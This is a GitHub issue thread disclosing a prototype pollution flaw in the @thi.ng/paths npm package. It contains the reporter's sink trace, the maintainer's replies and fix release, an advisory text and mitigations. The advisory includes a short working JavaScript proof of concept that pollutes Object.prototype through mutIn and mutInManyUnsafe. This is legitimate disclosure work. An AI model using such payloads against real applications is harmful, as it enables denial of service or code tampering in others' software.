-
-
Notifications
You must be signed in to change notification settings - Fork 151
New issue
Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? # to your account
Prototype Pollution vulnerability affecting @thi.ng/paths, versions <=5.1.62 #445
Comments
Hi @tariqhawis - can you please provide some actual working proof of this issue (i.e. link to a working example) since the code above has several issues:
Can you please clarify? Thanks! |
I just realized this is about a version from almost 6 years ago (~April 2018, v1.3.8 vs current version 5.1.61)! Thanks for wasting people's time! Closing! |
Hi @postspectacular , I investigated the problem and it seems there are two npm packages for this project published on two separate pages. The outdated one that the vulnerability test has targeted located here. In any case, this link should not be publicly available for the users to prevent such confusion. |
That linked project is a fork ( |
I checked the latest published version (5.1.62). It's also vulnerable to prototype pollution via mutIn() and mutInManyUnsafe(). The following PoC invoked both functions separately for separate effects. Note that Following the code, the sink is traced from mutIn() in mut-in.js to defMutator() in mutator.js which triggered prototype pollution at the assignment code:
Here is the PoC:
|
Okay. This is interesting in that this is only an error if misused like this in JS, but it would not even compile in TypeScript, since the offending path umbrella/packages/paths/src/path.ts Lines 61 to 78 in ded7c5e
and
So considering this only remaining vulnerability is due to a complete misuse and passing of illegal arguments to the function, I'll update the internally used |
@tariqhawis I just released an update with the above changes (and updated tests) as v5.1.63 |
Prototype Pollution vulnerability affecting @thi.ng/paths (1.3.8)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
Vulnerable function:
POC:
import * as paths from "@thi.ng/paths";
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.proto));
try {
paths.mutIn({}, [["proto"], "polluted"], true, true)
paths.mutInManyUnsafe({}, [["proto"], "polluted"], true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.proto));
delete Object.prototype.polluted;
Mitigation:
Freeze the prototype— use Object.freeze (Object.prototype).
Validation of JSON inputs.
Use Map instead of Object.
Crete objects without prototype, that will break the prototype chain and preventing pollution. Example:
let obj = Object.create(null);
obj.proto // undefined
obj.constructor // undefined
The text was updated successfully, but these errors were encountered: